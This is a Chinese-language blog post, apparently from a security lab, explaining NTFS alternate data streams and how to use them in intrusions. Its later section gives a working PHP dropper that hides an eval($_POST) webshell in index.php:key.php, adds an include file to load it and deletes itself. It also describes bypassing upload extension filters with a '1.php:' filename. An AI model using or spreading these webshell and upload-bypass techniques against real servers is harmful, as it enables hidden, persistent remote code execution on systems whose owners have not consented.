文件寄生——尋找宿主的不歸路(NTFS文件流實際應用)
好,又跟大家見面了,今天咱們來研究有意思的寄生蟲和宿主的故事。
NTFS文件系統實現了多文件流特性,NTFS環境一個文件默認使用的是未命名的文件流,同時可創建其他命名的文件流,windows資源管理器默認不顯示出文件的命名文件流,這些命名的文件流在功能上和默認使用的未命名文件流一致,甚至可以用來啟動程序。 NTFS文件流生成步驟:1. 我們在任意一個NTFS分區下打開CMD命令提示符,輸入echo mstlab>>mst.txt:test.txt,則在當前目錄下會生成一個名為mst.txt的文件,但文件的大小為0位元組,打開後也無任何內容。



NTFS特性和原理分析:
特性1:
實驗工具下載:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
工具使用說明: create 創建文件流 enum 列舉文件流 delete 刪除文件流 write 寫入內容到文件流 append 增加文件到文件流 launch 執行文件流的內容 dump 讀取文件流的內容我們讓上一步驟歸零,重新來看看mst.txt:

FileStreams.exe create mst.txt vkey


再來查看文件流vkey的內容:
FileStreams.exe dump mst.txt vkey 14 這裡的14從何而來,相信聰明的你們能明白。(文件流vkey大小 14)




在沒有原文件的情況下創建文件流,會自動創建一個空文件。
原理分析: 好,現在我們以及初步了解了文件流的特性。再來看看NTFS文件流實現原理: 如文件大小,文件創建時間,文件修改時間,文件名,文件內容等被組織成屬性來存放,NTFS定義了一序列的文件屬性:

滲透中的利用:
Webshell後門隱藏:<?php exec("echo "<?php @eval($_POST[key]);?>">>index.php:key.php"); $key = <<<key echo "<?php include "index.php:key.php";?>">>a.php key; exec($key); $url = $_SERVER["PHP_SELF"]; $filename= substr($url,strrpos($url,"/")+1); @unlink($filename); ?>

為什麼這樣寫?首先我們知道網站的默認首頁是index.php,所以我們使用了第一段代碼:
exec("echo "<?php @eval($_POST[key]);?>">>index.php:key.php");
$key = <<<key echo "<?php include "index.php:key.php";?>">>a.php key; exec($key);
$url = $_SERVER["PHP_SELF"]; $filename= substr($url,strrpos($url,"/")+1); @unlink($filename);

當然一些局限性的限制寄生蟲可以拿到主權:
利用下面的默認流替換特性上傳文件名為1.php:的文件,繞過後綴名限制即可。
當然你也可以做一個持續性webshell後門,然後使用include包含起來即可利用:

默認流替換: 默認流也就是宿主自身的,這裡完全可以吞噬宿主,成為宿主。 這個方法算是打破常規的認識了,很有意思。
如上圖,我們直接執行echo xxxx>>1.txt:
即可替換默認流:

總結
原文件=宿主,文件流=寄生蟲。各位朋友根據根據這篇文章的基礎繼續深入研究,把文件流應用於各種操作之中,造出"猥瑣"流。 研究來自:米斯特安全攻防實驗室 Www.Hi-OurLife.Com @ gh0stkey希望大家喜歡這個不是很乾的乾貨。么么扎。
aHR0cDovL3dlaXhpbi5xcS5jb20vZy9BWWpiLWo1ZG5VWnRKX1Uz (二維碼自動識別)
推薦閱讀:
